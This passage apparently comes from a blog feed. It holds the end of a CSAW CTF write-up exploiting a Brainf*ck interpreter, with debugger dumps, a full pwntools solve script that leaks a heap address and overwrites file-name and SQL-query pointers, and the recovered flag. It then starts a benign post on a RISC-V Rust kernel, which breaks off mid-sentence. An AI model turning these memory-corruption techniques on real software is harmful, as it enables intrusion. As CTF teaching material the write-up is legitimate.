\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500 [#0] Id 1, Name: &quot;challenge_patch&quot;, stopped 0x55f65411daa5 in BFTask::run (), reason: TEMPORARY BREAKPOINT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500 [#0] 0x55f65411daa5 \u2192 BFTask::run(this=0x55f654799330, program=@0x7ffc39289ff8, deletePreviousState=0x1) [#1] 0x55f65412018a \u2192 runOnPreviousTrial(id=0x1, task_map=@0x7ffc3928a100) [#2] 0x55f654120843 \u2192 main() \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 gef\u27a4 deref tape._M_impl._M_start 0x000055f654799500\u2502+0x0000: 0x0000000000000000 \u2190 $rdx 0x000055f654799508\u2502+0x0008: 0x0000000000000000 0x000055f654799510\u2502+0x0010: 0x0000000000000000 0x000055f654799518\u2502+0x0018: 0x0000000000000041 (&quot;A&quot;?) 0x000055f654799520\u2502+0x0020: 0x0000000000000001 0x000055f654799528\u2502+0x0028: 0x00007ffc3928a108 \u2192 0x00007fab00000000 0x000055f654799530\u2502+0x0030: 0x0000000000000000 0x000055f654799538\u2502+0x0038: 0x0000000000000000 0x000055f654799540\u2502+0x0040: 0x0000000000000001 0x000055f654799548\u2502+0x0048: 0x000055f654799330 \u2192 0x0000000500000001 I wrote a script with a Brainf*ck program that prints the pointer out:\n#!\/usr\/bin\/env python3 from pwn import * exe = ELF(&#34;.\/challenge_patched&#34;) libc = ELF(&#34;.\/libc.so.6&#34;) ld = ELF(&#34;.\/ld-2.38.so&#34;) context.binary = exe if args.REMOTE: r = remote(&#34;pwn.csaw.io&#34;, 9999) else: r = process([exe.path]) if args.GDB: gdb.attach(r) # Cause some heap allocations for leaking heap address r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;1&#39;) # Create new VM r.sendlineafter(b&#39; ? &#39;, b&#39;n&#39;) # Disable backups r.sendlineafter(b&#39;): &#39;, b&#39;A&#39; * 200) # Long BF program to cause allocations # Leak heap address r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;2&#39;) # Reuse existing VM r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;1&#39;) # VM index r.sendlineafter(b&#39; ? &#39;, b&#39;y&#39;) # Enable backups (I don&#39;t remember why) r.sendlineafter(b&#39;): &#39;, b&#39;&gt;&#39; * 0x48 + b&#39;.&gt;&#39; * 8) # BF program to print pointer leek = u64(r.recv(8)) log.info(f&#39;{hex(leek)=}&#39;) Now we have a heap leak:\n[alex@ctf chal]$ .\/solve.py ... [+] Starting local process &apos;\/home\/alex\/brainflop\/chal\/challenge_patched&apos;: pid 2257 [*] hex(leek)=&apos;0x5633f3846330&apos; Overwriting the database file name I used GDB to find the offset from the tape to the database file name pointer:\ngef\u27a4 b BFTask::run Breakpoint 1 at 0x563e44046a6f gef\u27a4 c Continuing. ... BFTask::run (this=0x563e44eec560, program=..., deletePreviousState=0x0) at challenge.cpp:52 52 while (instructionPointer &lt; program.length()) { [ Legend: Modified register | Code | Heap | Stack | String ] \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500 $rax : 0x0000563e44eec560 \u2192 0x0000000500000002 $rbx : 0x00007ffc3cd4e0a8 \u2192 0x00007ffc3cd4e553 \u2192 &quot;\/home\/alex\/brainflop\/chal\/challenge_patched&quot; $rcx : 0x0000563e44eecc04 \u2192 0x0000345100000000 $rdx : 0x0 $rsp : 0x00007ffc3cd4dd60 \u2192 0x00000002001401b0 $rbp : 0x00007ffc3cd4ddb0 \u2192 0x00007ffc3cd4dea0 \u2192 0x00007ffc3cd4df90 \u2192 0x0000000000000001 $rsi : 0x00007ffc3cd4de48 \u2192 0x0000563e44ef0060 \u2192 &quot;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;[...]&quot; $rdi : 0x0000563e44eec560 \u2192 0x0000000500000002 $rip : 0x0000563e44046aa5 \u2192 jmp 0x563e44046aa7 &lt;_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87&gt; $r8 : 0xffffffffffffffa0 $r9 : 0x20 $r10 : 0x0000563e44ef0050 \u2192 0x0000000000003450 (&quot;P4&quot;?) $r11 : 0x40 $r12 : 0x0 $r13 : 0x00007ffc3cd4e0b8 \u2192 0x00007ffc3cd4e57f \u2192 &quot;SHELL=\/bin\/bash&quot; $r14 : 0x0000563e4404ed58 \u2192 0x0000563e44046570 \u2192 endbr64 $r15 : 0x00007f9a70051000 \u2192 0x00007f9a700522d0 \u2192 0x0000563e44043000 \u2192 jg 0x563e44043047 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500 0x00007ffc3cd4dd60\u2502+0x0000: 0x00000002001401b0 \u2190 $rsp 0x00007ffc3cd4dd68\u2502+0x0008: 0x0000563e44eec560 \u2192 0x0000000500000002 0x00007ffc3cd4dd70\u2502+0x0010: 0x00007ffc3cd4dd60 \u2192 0x00000002001401b0 0x00007ffc3cd4dd78\u2502+0x0018: 0x0000563e44eec560 \u2192 0x0000000500000002 0x00007ffc3cd4dd80\u2502+0x0020: 0x00007ffc3cd4e0b8 \u2192 0x00007ffc3cd4e57f \u2192 &quot;SHELL=\/bin\/bash&quot; 0x00007ffc3cd4dd88\u2502+0x0028: 0x00007ffc3cd4dd50 \u2192 0x0000000000002710 0x00007ffc3cd4dd90\u2502+0x0030: 0x00007ffc3cd4dd50 \u2192 0x0000000000002710 0x00007ffc3cd4dd98\u2502+0x0038: 0x00007ffc3cd4dea0 \u2192 0x00007ffc3cd4df90 \u2192 0x0000000000000001 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500 0x563e44046a8f mov rax, QWORD PTR [rbp-0x38] 0x563e44046a93 mov QWORD PTR [rax+0x78], 0x0 0x563e44046a9b mov DWORD PTR [rax+0x80], 0x0 \u2192 0x563e44046aa5 jmp 0x563e44046aa7 &lt;_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87&gt; 0x563e44046aa7 mov rax, QWORD PTR [rbp-0x38] 0x563e44046aab mov rax, QWORD PTR [rax+0x78] 0x563e44046aaf mov QWORD PTR [rbp-0x40], rax 0x563e44046ab3 mov rdi, QWORD PTR [rbp-0x10] 0x563e44046ab7 call 0x563e440463d0 &lt;_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv@plt&gt; \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 source:challenge.cpp+52 \u2500\u2500\u2500\u2500 47 loopStack.clear(); 48 instructionPointer = 0; 49 dataPointer = 0; 50 } 51 \u2192 52 while (instructionPointer &lt; program.length()) { 53 char command = program[instructionPointer]; 54 switch (command) { 55 case &apos;&gt;&apos;: 56 incrementDataPointer(); 57 break; \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500 [#0] Id 1, Name: &quot;challenge_patch&quot;, stopped 0x563e44046aa5 in BFTask::run (), reason: TEMPORARY BREAKPOINT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500 [#0] 0x563e44046aa5 \u2192 BFTask::run(this=0x563e44eec560, program=@0x7ffc3cd4de48, deletePreviousState=0x0) [#1] 0x563e440466af \u2192 runNewTrial(id=0x2, task_map=@0x7ffc3cd4df50) [#2] 0x563e440497a4 \u2192 main() \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 gef\u27a4 p (void*)tape._M_impl._M_start - (void*)&amp;db_file $1 = 0x650 I made a Brainf*ck program to overwrite the pointer, and appended the string todo_delete_this.db to the end. Then I used GEF&rsquo;s grep command to find the address of the string, and subtract the leaked heap address to find the offset that needs to be added. Here&rsquo;s the resulting script:\n# Overwrite database file name r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;1&#39;) # Create new VM r.sendlineafter(b&#39; ? &#39;, b&#39;y&#39;) # Enable backups so that database will be dumped pl = b&#39;&lt;&#39; * 0x650 + b&#39;,&gt;&#39; * 8 + b&#39;todo_delete_this.db\\0&#39; # Pad to fixed size so heap layout doesn&#39;t change assert len(pl) &lt;= 10000 pl = pl.ljust(10000, b&#39;A&#39;) r.sendlineafter(b&#39;): &#39;, pl) # Send database file name address for b in p64(leek + 0x1670): r.sendline(bytes([b])) # Exit the program so that the backup will be performed r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;3&#39;) r.interactive() When I ran this locally, the program created a todo_delete_this.db file, which confirms that I overwrote the database file name correctly. However, when I ran it on the server, the output did not contain a flag:\n[alex@ctf chal]$ .\/solve.py REMOTE [!] Could not populate PLT: module &apos;unicorn&apos; has no attribute &apos;UC_ARCH_RISCV&apos; [*] &apos;\/home\/alex\/brainflop\/chal\/challenge_patched&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: b&apos;.&apos; [!] Could not populate PLT: module &apos;unicorn&apos; has no attribute &apos;UC_ARCH_RISCV&apos; [*] &apos;\/home\/alex\/brainflop\/chal\/libc.so.6&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] &apos;\/home\/alex\/brainflop\/chal\/ld-2.38.so&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to pwn.csaw.io on port 9999: Done [*] hex(leek)=&apos;0x555e886ee330&apos; [*] Switching to interactive mode Goodbye! Performing backup for task 2 TIMESTAMP = timestamp TAPESTATE = | TIMESTAMP = Sun Dec 31 00:46:27 2023 TAPESTATE = |0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0| [*] Got EOF while reading in interactive $ Finding the flag This was pretty disappointing and I got stuck here for a while. Later, I figured that surely the todo_delete_this.db comment isn&rsquo;t just a red herring and the flag might be in a different table. I noticed that each BFTask instance has its own copy of the SQL query command stored inside an std::string, so we can overwrite the pointer in a similar way to make it point to our own SQL command. I modified the Brainf*ck program to also overwrite the pointer to the SQL command, and Aplet123 gave me a query that lists the tables. The SQL command had to not contain any spaces, since the Brainf*ck program was read from std::cin using the &gt;&gt; operator, which doesn&rsquo;t read whitespace. The script now looks like this:\n# Overwrite database file name and SQL query r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;1&#39;) # Create new VM r.sendlineafter(b&#39; ? &#39;, b&#39;y&#39;) # Enable backups so that database will be dumped pl = b&#39;&lt;&#39; * 0x650 + b&#39;,&gt;&#39; * 8 + b&#39;&lt;&#39; * 0x30 + b&#39;,&gt;&#39; * 8 + b&#39;SELECT*FROM`sqlite_master`;--todo_delete_this.db\\0&#39; # Pad to fixed size so heap layout doesn&#39;t change assert len(pl) &lt;= 10000 pl = pl.ljust(10000, b&#39;A&#39;) r.sendlineafter(b&#39;): &#39;, pl) # Send database file name address for b in p64(leek + 0x16cd): r.sendline(bytes([b])) # Send SQL query address for b in p64(leek + 0x25c0): r.sendline(bytes([b])) # Exit the program so that the backup will be performed r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;3&#39;) r.interactive() When I ran it on remote, I got a bunch of output with the flag near the end:\n[alex@ctf chal]$ .\/solve.py REMOTE [!] Could not populate PLT: module &apos;unicorn&apos; has no attribute &apos;UC_ARCH_RISCV&apos; [*] &apos;\/home\/alex\/brainflop\/chal\/challenge_patched&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: b&apos;.&apos; [!] Could not populate PLT: module &apos;unicorn&apos; has no attribute &apos;UC_ARCH_RISCV&apos; [*] &apos;\/home\/alex\/brainflop\/chal\/libc.so.6&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] &apos;\/home\/alex\/brainflop\/chal\/ld-2.38.so&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to pwn.csaw.io on port 9999: Done [*] hex(leek)=&apos;0x5557cfd4f330&apos; [*] Switching to interactive mode Goodbye! Performing backup for task 2 type = table name = brainflop tbl_name = brainflop rootpage = 2 sql = CREATE TABLE brainflop( ID INT PRIMARY KEY, TASKID INT NOT NULL, TIMESTAMP TEXT NOT NULL, TAPESTATE TEXT NOT NULL ) type = index name = sqlite_autoindex_brainflop_1 tbl_name = brainflop rootpage = 3 sql = NULL type = table name = pastablorf tbl_name = pastablorf rootpage = 4 sql = CREATE TABLE pastablorf(DATA TEXT) type = table name = blamfogg tbl_name = blamfogg rootpage = 5 sql = CREATE TABLE blamfogg(DATA TEXT) type = table name = qubblezop tbl_name = qubblezop rootpage = 6 sql = CREATE TABLE qubblezop(DATA TEXT) type = table name = quasarquirk tbl_name = quasarquirk rootpage = 7 sql = CREATE TABLE quasarquirk(DATA TEXT) type = table name = heartworp tbl_name = heartworp rootpage = 8 sql = CREATE TABLE heartworp(DATA TEXT) type = table name = cuzarblonk tbl_name = cuzarblonk rootpage = 9 sql = CREATE TABLE cuzarblonk(DATA TEXT) type = table name = flutterquap tbl_name = flutterquap rootpage = 10 sql = CREATE TABLE flutterquap(DATA TEXT) type = table name = glrixatorb tbl_name = glrixatorb rootpage = 11 sql = CREATE TABLE glrixatorb(DATA TEXT) type = table name = queezlepoff tbl_name = queezlepoff rootpage = 12 sql = CREATE TABLE queezlepoff(DATA TEXT) type = table name = gazorpazorp tbl_name = gazorpazorp rootpage = 13 sql = CREATE TABLE gazorpazorp(DATA TEXT) type = table name = nogglyblomp tbl_name = nogglyblomp rootpage = 14 sql = CREATE TABLE nogglyblomp(DATA TEXT) type = trigger name = hide_corp_secrets tbl_name = brainflop rootpage = 0 sql = CREATE TRIGGER hide_corp_secrets AFTER INSERT ON brainflop BEGIN UPDATE heartworp SET DATA = replace(DATA, &quot;csawctf{ur_sup3r_d4ta_B4S3D!!}&quot;, &quot;wowzers you&apos;re too late!&quot;); END [*] Got EOF while reading in interactive $ Full solve script:\n#!\/usr\/bin\/env python3 from pwn import * exe = ELF(&#34;.\/challenge_patched&#34;) libc = ELF(&#34;.\/libc.so.6&#34;) ld = ELF(&#34;.\/ld-2.38.so&#34;) context.binary = exe if args.REMOTE: r = remote(&#34;pwn.csaw.io&#34;, 9999) else: r = process([exe.path]) if args.GDB: gdb.attach(r) # Cause some heap allocations for leaking heap address r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;1&#39;) # Create new VM r.sendlineafter(b&#39; ? &#39;, b&#39;n&#39;) # Disable backups r.sendlineafter(b&#39;): &#39;, b&#39;A&#39; * 200) # Long BF program to cause allocations # Leak heap address r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;2&#39;) # Reuse existing VM r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;1&#39;) # VM index r.sendlineafter(b&#39; ? &#39;, b&#39;y&#39;) # Enable backups (I don&#39;t remember why) r.sendlineafter(b&#39;): &#39;, b&#39;&gt;&#39; * 0x48 + b&#39;.&gt;&#39; * 8) # BF program to print pointer leek = u64(r.recv(8)) log.info(f&#39;{hex(leek)=}&#39;) # Overwrite database file name and SQL query r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;1&#39;) # Create new VM r.sendlineafter(b&#39; ? &#39;, b&#39;y&#39;) # Enable backups so that database will be dumped pl = b&#39;&lt;&#39; * 0x650 + b&#39;,&gt;&#39; * 8 + b&#39;&lt;&#39; * 0x30 + b&#39;,&gt;&#39; * 8 + b&#39;SELECT*FROM`sqlite_master`;--todo_delete_this.db\\0&#39; # Pad to fixed size so heap layout doesn&#39;t change assert len(pl) &lt;= 10000 pl = pl.ljust(10000, b&#39;A&#39;) r.sendlineafter(b&#39;): &#39;, pl) # Send database file name address for b in p64(leek + 0x16cd): r.sendline(bytes([b])) # Send SQL query address for b in p64(leek + 0x25c0): r.sendline(bytes([b])) # Exit the program so that the backup will be performed r.sendlineafter(b&#39;&gt;&gt; &#39;, b&#39;3&#39;) r.interactive() Conclusion When I read the challenge author&rsquo;s solution, I realized that we had solved this challenge in a way that was easier than intended. The author did some heap feng shui to make overwriting the file name pointer possible, but I didn&rsquo;t need any of that. Padding the program to a fixed size probably helped. Also, it looks like we were supposed to do a bit of detective work to find the flag in the database after overwriting the SQL query. The flag was in one of several tables with random names and it had been overwritten using an SQL trigger, but we just dumped the whole sqlite_master table which had the flag inside. It looks like this challenge was intended to be as hard as it initially seemed, but we got a bit lucky.\n","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/csaw-finals-2023\/brainflop\/","summary":"Pwning a Brainf*ck interpreter","title":"CSAW CTF 2023 Finals \u2013 brainflop"},{"content":"This is the first post in a series that I plan to write about my OS project. All of the posts in this series are listed on the OS project tag page. The code for this project is published in my GitHub repository.\nDisclaimer: I am a beginner when it comes to OS development, so some things that I write here might be incorrect. If you find any inaccuracies or have other feedback, please let me know.\nIntroduction Around two months ago, I decided to try developing a simple operating system kernel from scratch. I figured that this would be a fun way to learn more about how operating systems work, and possibly help me learn kernel pwn.\nWriting an operating system these days often means using the x86 architecture family and the C programming language, both of which are more than four decades old. While x86 and C have improved over the years, they are greatly limited by the need to maintain backwards compatibility. I figured that instead of working with 20th century technology, it will be more fun to play with a more modern architecture and programming language.\nInstead of x86, I decided to use RISC-V, a relatively new open standard architecture that was originally developed at UC Berkeley. RISC-V is much simpler than x86, and using RISC-V means that I don&rsquo;t have to deal with tons and tons of legacy crap such as boot sectors, real mode, protected mode, and segmented memory. Unlike other academic architectures, RISC-V is designed with practical use in mind. Many companies are working on RISC-V technology, and lots of RISC-V processors are already available or in development. Software support is also pretty good at this point, and I didn&rsquo;t run into any major issues with that.\nI chose the Rust programming language over C for somewhat similar reasons. While C doesn&rsquo;t suffer from an incomprehensible amount of complexity like x86, it is still very old and I feel that Rust is much better designed.\nResearch While I already had some existing knowledge of operating system development, I still had to to a lot of research before writing any code. I started with the RISC-V ISA specs which describe the RISC-V architecture. While these are formal specifications, I found that they were easy to read even though I had little prior knowledge of RISC-V. The specs had a lot of commentary explaining the reasoning behind all of the design decisions, which I thought was pretty nice.\nI searched for tutorials on writing operating systems in Rust, and I found Philipp Oppermann&rsquo;s OS blog which uses x86. While it gives a good overview of some high level concepts, I noticed that a lot of the details are hidden inside a pre-made library.\nAnother tutorial that I found was Stephen Marz&rsquo;s OS blog. It uses RISC-V, but I found that it was not as applicable to my project as I hoped since I chose to do some things differently. For example, the tutorial doesn&rsquo;t use any firmware and implements its own UART driver, while I decided to use the OpenSBI firmware included with QEMU, which provides functions for accessing the serial console.\nLastly, I used the Linux kernel source code as a reference, and I accessed it with the Elixir cross referencer which made it a lot easier to navigate the huge codebase.\nDesign Goals Since this is my first time writing a kernel from scratch, I wanted to start simple and add more complexity later. I will only be targeting the QEMU emulator&rsquo;s virt board with a single core for now, and I will hardcode information about the target platform instead of obtaining them at runtime through mechanisms like device trees. However, I still want to make my kernel similar to modern production kernels when it doesn&rsquo;t result in too much complexity.\nInitial Setup Following Philipp Oppermann&rsquo;s tutorial, I created a no_std crate with some minimal code that simply loops forever:\n#![no_std] #![no_main] #[no_mangle] pub extern &#34;C&#34; fn _start() -&gt; ! { loop {} } #[panic_handler] fn panic(_info: &amp;PanicInfo) -&gt; ! { loop {} } The tutorial compiled the code with a custom target specification, but I found that for RISC-V there&rsquo;s a built-in riscv64imac-unknown-none-elf target that seems to be appropriate. RISC-V instructions are organized into a minimal base instruction set and optional extensions. riscv64imac stands for the 64-bit RISC-V base integer ISA with extensions for integer multiplication\/division, atomics, and compressed instructions (shorter 16-bit encodings for common instructions). Note that this does not include floating-point instructions, since they are usually not needed in a kernel and not using them avoids having to save the floating point registers during context switches.\nI set the target in the Cargo config file .cargo\/config.toml:\n[build] target = &#34;riscv64imac-unknown-none-elf&#34; Linker Script During my research I found that I needed a custom linker script in order to have more control over linking and specify things like the base address where the kernel will be loaded. Linker scripts are written in a domain-specific language defined in the GNU ld manual. They list the output sections of the linked executable and which input sections they contain.\nI started with a simple linker script that includes the usual sections: .text, .rodata, .data, and .bss. These sections contain executable code, read-only data, writable data, and zero-initialized data respectively.\nOUTPUT_ARCH(riscv) ENTRY(_start) PAGE_SIZE = 4K; SECTIONS { . = 0x80200000; . = ALIGN(PAGE_SIZE); .text : { *(.text .text.*) } . = ALIGN(PAGE_SIZE); .rodata : { *(.rodata .rodata.*) } . = ALIGN(PAGE_SIZE); .data : { *(.data .data.*) } .bss : { *(.bss .bss.*) } } I set the base address to 0x80200000, since the QEMU source code indicates that RAM starts at 0x80000000 and some of the memory at the beginning appears to be used by the firmware. This is also the base address used by some of the other projects that I found.\nTo make the linker use my script, I made a Rust build script that sets the -T option:\nfn main() { println!(&#34;cargo:rerun-if-changed=build.rs&#34;); println!(&#34;cargo:rustc-link-arg=-Tlinker.ld&#34;); } Some other projects used .cargo\/config.toml for this, but a Cargo PR seems to indicate that using a build script is better.\nOne issue is that I couldn&rsquo;t find a way to make Cargo treat the linker script as a build dependency so that it would relink after I change the script. There also doesn&rsquo;t seem to be an option to manually relink without recompiling everything, so I had to use cargo clean.\nBooting the Kernel In order for the kernel to be executed, it has to be loaded into memory. While this is typically done by a bootloader or the firmware on modern computers, it looks like QEMU can load the kernel directly. The QEMU man page indicates that there is a -kernel option for specifying a kernel to load. For the format of the kernel, the man page only mentions the Linux kernel&rsquo;s format and Multiboot, but with some trial and error I figured out that QEMU also supports the ELF binaries produced by the Rust build. I added the following to .cargo\/config.toml which allows me to run my kernel in QEMU with cargo run:\n[target.riscv64imac-unknown-none-elf] runner = [&#34;qemu-system-riscv64&#34;, &#34;-nographic&#34;, &#34;-machine&#34;, &#34;virt&#34;, &#34;-kernel&#34;] As I mentioned previously, the firmware that I&rsquo;m using is called OpenSBI. Before starting the kernel, it prints out a cool banner and some useful information:\nOpenSBI v1.1 ____ _____ ____ _____ \/ __ \\ \/ ____| _ \\_ _| | | | |_ __ ___ _ __ | (___ | |_) || | | | | | &#39;_ \\ \/ _ \\ &#39;_ \\ \\___ \\| _ &lt; | | | |__| | |_) | __\/ | | |____) | |_) || |_ \\____\/| .__\/ \\___|_| |_|_____\/|____\/_____| | | |_| Platform Name : riscv-virtio,qemu Platform Features : medeleg Platform HART Count : 1 Platform IPI Device : aclint-mswi Platform Timer Device : aclint-mtimer @ 10000000Hz Platform Console Device : uart8250 Platform HSM Device : --- Platform Reboot Device : sifive_test Platform Shutdown Device : sifive_test Firmware Base : 0x80000000 Firmware Size : 288 KB Runtime SBI Version : 1.0 Domain0 Name : root Domain0 Boot HART : 0 Domain0 HARTs : 0* Domain0 Region00 : 0x0000000002000000-0x000000000200ffff (I) Domain0 Region01 : 0x0000000080000000-0x000000008007ffff () Domain0 Region02 : 0x0000000000000000-0xffffffffffffffff (R,W,X) Domain0 Next Address : 0x0000000080200000 Domain0 Next Arg1 : 0x00000000bfe00000 Domain0 Next Mode : S-mode Domain0 SysReset : yes Boot HART ID : 0 Boot HART Domain : root Boot HART Priv Version : v1.12 Boot HART Base ISA : rv64imafdch Boot HART ISA Extensions : time,sstc Boot HART PMP Count : 16 Boot HART PMP Granularity : 4 Boot HART PMP Address Bits: 54 Boot HART MHPM Count : 16 Boot HART MIDELEG : 0x0000000000001666 Boot HART MEDELEG : 0x0000000000f0b509 I hadn&rsquo;t figured out how to get GDB to work yet when I was debugging this, so I used the QEMU monitor, which has commands for examining the state of the registers and memory. I was able to verify that the kernel was loaded and executed correctly this way.\nDisplaying Output OpenSBI is the reference implementation for the RISC-V Supervisor Binary Interface (SBI), the standard interface between the firmware and the kernel. The SBI provides an sbi_console_putchar function for writing to the debug console. To call it, I just had to set some registers to the right values and then execute an ecall (environment call) instruction, which could be done with some inline assembly. Implementing this only took a few lines of crappy testing code which I didn&rsquo;t save, but it took a surprisingly long time for me to get it working. One issue was that I was reading a pre-release version of the SBI specification and trying to call a newer version of the function that hasn&rsquo;t been implemented yet. I also misinterpreted the output from the QEMU monitor so the register values didn&rsquo;t seem to make sense. After figuring all of this out, I was able to output a single &ldquo;A&rdquo; character, which was quite exciting considering how much work it took to get this far:\nI initially made the SBI call with inline assembly inside the _start function, but that broke as soon as I added more Rust functions. It turns out that QEMU ignores the entry point address specified in the ELF header, and the kernel is always executed from the very beginning. I also realized that I 